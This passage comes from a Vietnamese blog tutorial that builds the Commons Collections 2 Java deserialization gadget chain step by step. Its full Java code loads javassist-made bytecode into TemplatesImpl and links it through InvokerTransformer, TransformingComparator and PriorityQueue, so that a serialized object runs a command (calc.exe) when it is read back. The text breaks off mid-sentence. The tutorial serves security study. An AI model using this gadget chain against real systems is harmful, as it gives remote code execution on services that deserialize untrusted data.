_bytecodes.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        _bytecodes.set(templates, <span class="keyword">new</span> <span class="title class_">byte</span>[][]&#123;bytes&#125;);</span><br><span class="line">        Field tfactoryField=templates.getClass().getDeclaredField(<span class="string">&quot;_tfactory&quot;</span>);</span><br><span class="line">        tfactoryField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        tfactoryField.set(templates,<span class="keyword">new</span> <span class="title class_">TransformerFactoryImpl</span>());</span><br><span class="line"></span><br><span class="line">        templates.newTransformer();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Máy tính đã được bật.</p><h4 id="2-Tao-class-roi-load-truc-tiep"><a href="#2-Tao-class-roi-load-truc-tiep" class="headerlink" title="2. Tạo class rồi load trực tiếp"></a>2. Tạo class rồi load trực tiếp</h4><p>Khởi tạo class, ở đây mình lấy static để làm ví dụ (cái nào cũng được).<br>Đặt file Calc.java cùng thư mục với cc2.</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.DOM;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.TransletException;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xml.internal.serializer.SerializationHandler;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Calc</span> <span class="keyword">extends</span> <span class="title class_">AbstractTranslet</span> &#123;</span><br><span class="line">    <span class="keyword">static</span> &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            Runtime.getRuntime().exec(<span class="string">&quot;calc&quot;</span>);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (IOException e)&#123;</span><br><span class="line">            e.printStackTrace();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">transform</span><span class="params">(DOM document, SerializationHandler[] handlers)</span> <span class="keyword">throws</span> TransletException &#123;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">transform</span><span class="params">(DOM document, DTMAxisIterator iterator, SerializationHandler handler)</span> <span class="keyword">throws</span> TransletException &#123;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.*;</span><br><span class="line"><span class="keyword">import</span> java.nio.file.Files;</span><br><span class="line"><span class="keyword">import</span> java.nio.file.Paths;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">test1</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception&#123;</span><br><span class="line">        <span class="type">byte</span>[] shellClass = Files.readAllBytes(Paths.get(<span class="string">&quot;C:\\Users\\rayin_awarf\\Desktop\\work\\java\\cc2\\target\\classes\\org\\example\\Calc.class&quot;</span>));</span><br><span class="line">        <span class="type">byte</span>[][] bytes = &#123;shellClass&#125;;</span><br><span class="line">        <span class="type">TemplatesImpl</span> <span class="variable">templates</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TemplatesImpl</span>();</span><br><span class="line">        <span class="type">Field</span> <span class="variable">_nameField</span> <span class="operator">=</span> templates.getClass().getDeclaredField(<span class="string">&quot;_name&quot;</span>);</span><br><span class="line">        _nameField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        _nameField.set(templates, <span class="string">&quot;notNull&quot;</span>);</span><br><span class="line">        <span class="type">Field</span> <span class="variable">_classField</span> <span class="operator">=</span> templates.getClass().getDeclaredField(<span class="string">&quot;_class&quot;</span>);</span><br><span class="line">        _classField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        _classField.set(templates, <span class="literal">null</span>);</span><br><span class="line">        <span class="type">Field</span> <span class="variable">_bytecodes</span> <span class="operator">=</span> templates.getClass().getDeclaredField(<span class="string">&quot;_bytecodes&quot;</span>);</span><br><span class="line">        _bytecodes.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        _bytecodes.set(templates, bytes);</span><br><span class="line">        Field tfactoryField=templates.getClass().getDeclaredField(<span class="string">&quot;_tfactory&quot;</span>);</span><br><span class="line">        tfactoryField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        tfactoryField.set(templates,<span class="keyword">new</span> <span class="title class_">TransformerFactoryImpl</span>());</span><br><span class="line"></span><br><span class="line">        templates.newTransformer();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Ok, hướng đi là như thế, bây giờ chúng ta sẽ lợi dụng điều này vào class TemplatesImpl.</p><ul><li>_name không null</li><li>_class null</li><li>_bytecodes là bytecodes của lớp cần truyền vào.</li></ul><h3 id="Ket-hop-voi-lop-InvokerTransformer"><a href="#Ket-hop-voi-lop-InvokerTransformer" class="headerlink" title="Kết hợp với lớp InvokerTransformer"></a>Kết hợp với lớp InvokerTransformer</h3><p>Ở cc1 theo TransformedMap, mình đã phân tích về lớp này. Mình sẽ tóm gọn lại như sau:</p><ul><li>Phương thức transform của lớp này sẽ thực thi phương thức mà ta truyền vào ở invokerTransformer của object truyền vào hàm transform.</li></ul><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;</span><br><span class="line"><span class="keyword">import</span> javassist.*;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections4.functors.InvokerTransformer;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.*;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">cc2</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception&#123;</span><br><span class="line">        <span class="type">ClassPool</span> <span class="variable">pool</span> <span class="operator">=</span> ClassPool.getDefault();</span><br><span class="line">        <span class="type">CtClass</span> <span class="variable">ctClass</span> <span class="operator">=</span> pool.makeClass(<span class="string">&quot;Test&quot;</span>);</span><br><span class="line">        ctClass.setSuperclass(pool.get(<span class="string">&quot;com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet&quot;</span>));</span><br><span class="line">        ctClass.makeClassInitializer().setBody(<span class="string">&quot;java.lang.Runtime.getRuntime().exec(\&quot;calc.exe\&quot;);&quot;</span>);</span><br><span class="line">        <span class="type">byte</span>[] bytes = ctClass.toBytecode();</span><br><span class="line"></span><br><span class="line">        <span class="type">TemplatesImpl</span> <span class="variable">templates</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TemplatesImpl</span>();</span><br><span class="line">        <span class="type">Field</span> <span class="variable">_nameField</span> <span class="operator">=</span> templates.getClass().getDeclaredField(<span class="string">&quot;_name&quot;</span>);</span><br><span class="line">        _nameField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        _nameField.set(templates, <span class="string">&quot;notNull&quot;</span>);</span><br><span class="line">        <span class="type">Field</span> <span class="variable">_classField</span> <span class="operator">=</span> templates.getClass().getDeclaredField(<span class="string">&quot;_class&quot;</span>);</span><br><span class="line">        _classField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        _classField.set(templates, <span class="literal">null</span>);</span><br><span class="line">        <span class="type">Field</span> <span class="variable">_bytecodes</span> <span class="operator">=</span> templates.getClass().getDeclaredField(<span class="string">&quot;_bytecodes&quot;</span>);</span><br><span class="line">        _bytecodes.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        _bytecodes.set(templates, <span class="keyword">new</span> <span class="title class_">byte</span>[][]&#123;bytes&#125;);</span><br><span class="line">        Field tfactoryField=templates.getClass().getDeclaredField(<span class="string">&quot;_tfactory&quot;</span>);</span><br><span class="line">        tfactoryField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        tfactoryField.set(templates,<span class="keyword">new</span> <span class="title class_">TransformerFactoryImpl</span>());</span><br><span class="line"></span><br><span class="line">        <span class="comment">//templates.newTransformer();</span></span><br><span class="line">        <span class="type">InvokerTransformer</span> <span class="variable">invokerTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>&lt;&gt;(<span class="string">&quot;newTransformer&quot;</span>, <span class="literal">null</span>, <span class="literal">null</span>);</span><br><span class="line">        invokerTransformer.transform(templates);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><code>Ctrl + chuột trái</code> nhấn vào phương thức transform của lớp InvokerTransformer để tìm lớp sử dụng phương thức này, lớp TransformingComparator là lớp chúng ta cần chú ý đến. </p><p><img src="https://raw.githubusercontent.com/rayinaw/rayinaw.github.io/main/2022/12/16/CommonsCollections2/TranformingComparator.png"></p><p>Lớp này có phương thức compare sử dụng <code>transformer.transform()</code>.</p><p><img src="https://raw.githubusercontent.com/rayinaw/rayinaw.github.io/main/2022/12/16/CommonsCollections2/TranformingComparatorCompare.png"></p><p>Phân tích một chút, hàm tạo của lớp này lấy một Transformer gán vào biến transformer, ở đây chúng ta có thể thay bằng InvokerTransformer. Hàm compare sẽ thực thi transform cho object truyền vào nó với Transformer được truyền từ hàm tạo. Từ đây chúng ta có đoạn code ngắn sau:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;</span><br><span class="line"><span class="keyword">import</span> javassist.*;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections4.comparators.TransformingComparator;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections4.functors.InvokerTransformer;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.*;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">cc2</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception&#123;</span><br><span class="line">        <span class="type">ClassPool</span> <span class="variable">pool</span> <span class="operator">=</span> ClassPool.getDefault();</span><br><span class="line">        <span class="type">CtClass</span> <span class="variable">ctClass</span> <span class="operator">=</span> pool.makeClass(<span class="string">&quot;Test&quot;</span>);</span><br><span class="line">        ctClass.setSuperclass(pool.get(<span class="string">&quot;com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet&quot;</span>));</span><br><span class="line">        ctClass.makeClassInitializer().setBody(<span class="string">&quot;java.lang.Runtime.getRuntime().exec(\&quot;calc.exe\&quot;);&quot;</span>);</span><br><span class="line">        <span class="type">byte</span>[] bytes = ctClass.toBytecode();</span><br><span class="line"></span><br><span class="line">        <span class="type">TemplatesImpl</span> <span class="variable">templates</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TemplatesImpl</span>();</span><br><span class="line">        <span class="type">Field</span> <span class="variable">_nameField</span> <span class="operator">=</span> templates.getClass().getDeclaredField(<span class="string">&quot;_name&quot;</span>);</span><br><span class="line">        _nameField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        _nameField.set(templates, <span class="string">&quot;notNull&quot;</span>);</span><br><span class="line">        <span class="type">Field</span> <span class="variable">_classField</span> <span class="operator">=</span> templates.getClass().getDeclaredField(<span class="string">&quot;_class&quot;</span>);</span><br><span class="line">        _classField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        _classField.set(templates, <span class="literal">null</span>);</span><br><span class="line">        <span class="type">Field</span> <span class="variable">_bytecodes</span> <span class="operator">=</span> templates.getClass().getDeclaredField(<span class="string">&quot;_bytecodes&quot;</span>);</span><br><span class="line">        _bytecodes.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        _bytecodes.set(templates, <span class="keyword">new</span> <span class="title class_">byte</span>[][]&#123;bytes&#125;);</span><br><span class="line">        Field tfactoryField=templates.getClass().getDeclaredField(<span class="string">&quot;_tfactory&quot;</span>);</span><br><span class="line">        tfactoryField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        tfactoryField.set(templates,<span class="keyword">new</span> <span class="title class_">TransformerFactoryImpl</span>());</span><br><span class="line"></span><br><span class="line">        <span class="comment">//templates.newTransformer();</span></span><br><span class="line">        <span class="type">InvokerTransformer</span> <span class="variable">invokerTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>&lt;&gt;(<span class="string">&quot;newTransformer&quot;</span>, <span class="literal">null</span>, <span class="literal">null</span>);</span><br><span class="line">        <span class="comment">//invokerTransformer.transform(templates);</span></span><br><span class="line">        <span class="type">TransformingComparator</span> <span class="variable">transformingComparator</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TransformingComparator</span>( invokerTransformer);</span><br><span class="line">        transformingComparator.compare(templates, <span class="literal">null</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Tiếp theo chúng ta cần lớp gọi đến TransformingComparator.compare.</p><p><img src="https://raw.githubusercontent.com/rayinaw/rayinaw.github.io/main/2022/12/16/CommonsCollections2/findingsiftDownUsingComparator.png"></p><p>Đi đến phương thức siftDownUsingComparator của lớp PriorityQueue. Phương thức này sử dụng comparator.compare với comparator là một instance của interface Comparator, do đó nó có thể làm biến chứa cho các lớp implements interface Comparator, từ đây chúng ta có thể thay biến comparator bằng một TransformingComparator.</p><p><img src="https://raw.githubusercontent.com/rayinaw/rayinaw.github.io/main/2022/12/16/CommonsCollections2/siftDownUsingComparator.png"></p><p>Vì <code>siftDownUsingComparator</code> là một phương thức private nên chúng ta cần tìm phương thức gọi đến nó. Mò từ từ ta thấy được: <code>readObject--&gt;heapify--&gt;siftDown--&gt;sifDownUsingComparator</code></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">siftDown</span><span class="params">(<span class="type">int</span> k, E x)</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (comparator != <span class="literal">null</span>)</span><br><span class="line">            siftDownUsingComparator(k, x);</span><br><span class="line">        <span class="keyword">else</span></span><br><span class="line">            siftDownComparable(k, x);</span><br><span class="line">    &#125;</span><br><span class="line"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">heapify</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> (size &gt;&gt;&gt; <span class="number">1</span>) - <span class="number">1</span>; i &gt;= <span class="number">0</span>; i--)</span><br><span class="line">            siftDown(i, (E) queue[i]);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">readObject</span><span class="params">(java.io.ObjectInputStream s)</span></span><br><span class="line">        <span class="keyword">throws</span> java.io.IOException, ClassNotFoundException &#123;</span><br><span class="line">        <span class="comment">// Read in size, and any hidden stuff</span></span><br><span class="line">        s.defaultReadObject();</span><br><span class="line"></span><br><span class="line">        <span class="comment">// Read in (and discard) array length</span></span><br><span class="line">        s.readInt();</span><br><span class="line"></span><br><span class="line">        SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);</span><br><span class="line">        queue = <span class="keyword">new</span> <span class="title class_">Object</span>[size];</span><br><span class="line"></span><br><span class="line">        <span class="comment">// Read in all elements.</span></span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; size; i++)</span><br><span class="line">            queue[i] = s.readObject();</span><br><span class="line"></span><br><span class="line">        <span class="comment">// Elements are guaranteed to be in &quot;proper order&quot;, but the</span></span><br><span class="line">        <span class="comment">// spec has never explained what that might be.</span></span><br><span class="line">        heapify();</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><p>Hàm heapify loop hết các phần tử trong queue để <code>siftDown(i, (E) queue[i])</code>, <code>ctr + chuột trái</code> tiếp vào hàm heapify. Mảng queue được set ở hàm readObject rồi thực hiện heapify(). </p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">queue = <span class="keyword">new</span> <span class="title class_">Object</span>[size];</span><br><span class="line"></span><br><span class="line"><span class="comment">// Read in all elements.</span></span><br><span class="line"><span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; size; i++)</span><br><span class="line">    queue[i] = s.readObject();</span><br></pre></td></tr></table></figure><p><code>queue</code> ở đây chỉ là đọc từ đối tượng mình serialize. Sau khi đọc dữ liệu gán vào queue, nó thực hiện heapify.<br>Quá thuận lợi, bây giờ chỉ còn bước còn lại để xây dựng POC.</p><p>Ta có hai phương án để thực hiện:</p><ul><li>Sử dụng ChainedTransformer để tự động thực hiện mà không cần thông qua queue</li><li>Set giá trị cho queue</li></ul><h2 id="Hoan-thien-chain"><a href="#Hoan-thien-chain" class="headerlink" title="Hoàn thiện chain"></a>Hoàn thiện chain</h2><h3 id="Set-gia-tri-cho-queue"><a href="#Set-gia-tri-cho-queue" class="headerlink" title="Set giá trị cho queue"></a>Set giá trị cho queue</h3><p>Để set giá trị cho queue, chúng ta sẽ sử dụng hàm PriorityQueue.add().<br>Xem rõ phương thức này:<br><img src="https://raw.githubusercontent.com/rayinaw/rayinaw.github.io/main/2022/12/16/CommonsCollections2/priorityQueueAdd.png"></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;</span><br><span class="line"><span class="keyword">import</span> javassist.*;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections4.comparators.TransformingComparator;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections4.functors.ChainedTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections4.functors.ConstantTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections4.functors.InvokerTransformer;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.*;</span><br><span class="line"><span class="keyword">import</span> java.util.Arrays;</span><br><span class="line"><span class="keyword">import</span> java.util.PriorityQueue;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">cc2</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">serialize</span><span class="params">(Object obj)</span> <span class="keyword">throws</span> IOException &#123;</span><br><span class="line">        <span class="type">ObjectOutputStream</span> <span class="variable">oos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(<span class="keyword">new</span> <span class="title class_">FileOutputStream</span>(<span class="string">&quot;ser.bin&quot;</span>));</span><br><span class="line">        oos.writeObject(obj);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> Object <span class="title function_">unserialize</span><span class="params">(String Filename)</span> <span class="keyword">throws</span> IOException, ClassNotFoundException&#123;</span><br><span class="line">        <span class="type">ObjectInputStream</span> <span class="variable">ois</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(<span class="keyword">new</span> <span class="title class_">FileInputStream</span>(Filename));</span><br><span class="line">        <span class="type">Object</span> <span class="variable">obj</span> <span class="operator">=</span> ois.readObject();</span><br><span class="line">        <span class="keyword">return</span> obj;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception&#123;</span><br><span class="line">        <span class="type">ClassPool</span> <span class="variable">pool</span> <span class="operator">=</span> ClassPool.getDefault();</span><br><span class="line">        <span class="type">CtClass</span> <span class="variable">ctClass</span> <span class="operator">=</span> pool.makeClass(<span class="string">&quot;Test&quot;</span>);</span><br><span class="line">        ctClass.setSuperclass(pool.get(<span class="string">&quot;com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet&quot;</span>));</span><br><span class="line">        ctClass.makeClassInitializer().setBody(<span class="string">&quot;java.lang.Runtime.getRuntime().exec(\&quot;calc.exe\&quot;);&quot;</span>);</span><br><span class="line">        <span class="type">byte</span>[] bytes = ctClass.toBytecode();</span><br><span class="line"></span><br><span class="line">        <span class="type">TemplatesImpl</span> <span class="variable">templates</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TemplatesImpl</span>();</span><br><span class="line">        <span class="type">Field</span> <span class="variable">_nameField</span> <span class="operator">=</span> templates.getClass().getDeclaredField(<span class="string">&quot;_name&quot;</span>);</span><br><span class="line">        _nameField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        _nameField.set(templates, <span class="string">&quot;notNull&quot;</span>);</span><br><span class="line">        <span class="type">Field</span> <span class="variable">_classField</span> <span class="operator">=</span> templates.getClass().getDeclaredField(<span class="string">&quot;_class&quot;</span>);</span><br><span class="line">        _classField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        _classField.set(templates, <span class="literal">null</span>);</span><br><span class="line">        <span class="type">Field</span> <span class="variable">_bytecodes</span> <span class="operator">=</span> templates.getClass().getDeclaredField(<span class="string">&quot;_bytecodes&quot;</span>);</span><br><span class="line">        _bytecodes.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        _bytecodes.set(templates, <span class="keyword">new</span> <span class="title class_">byte</span>[][]&#123;bytes&#125;);</span><br><span class="line">        Field tfactoryField=templates.getClass().getDeclaredField(<span class="string">&quot;_tfactory&quot;</span>);</span><br><span class="line">        tfactoryField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        tfactoryField.set(templates,<span class="keyword">new</span> <span class="title class_">TransformerFactoryImpl</span>());</span><br><span class="line"></span><br><span class="line">        <span class="comment">//templates.newTransformer();</span></span><br><span class="line">        <span class="type">InvokerTransformer</span> <span class="variable">invokerTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>&lt;&gt;(<span class="string">&quot;newTransformer&quot;</span>, <span class="literal">null</span>, <span class="literal">null</span>);</span><br><span class="line">        <span class="comment">//invokerTransformer.transform(templates);</span></span><br><span class="line">        <span class="type">TransformingComparator</span> <span class="variable">transformingComparator</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TransformingComparator</span>(invokerTransformer);</span><br><span class="line">        <span class="comment">//transformingComparator.compare(null, null);</span></span><br><span class="line">        <span class="type">PriorityQueue</span> <span class="variable">priorityQueue</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">PriorityQueue</span>(transformingComparator);</span><br><span class="line">        priorityQueue.add(templates);</span><br><span class="line">        priorityQueue.add(templates);</span><br><span class="line"></span><br><span class="line">        serialize(priorityQueue);</span><br><span class="line">        <span class="comment">//unserialize(&quot;ser.bin&quot;);</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Tuy nhiên như này thì nó đã chạy câu lệnh trước khi chúng ta thực hiện unserialize. Set breakpoint ở hàm add để xem lý do.</p><p>Ta thấy ở lần 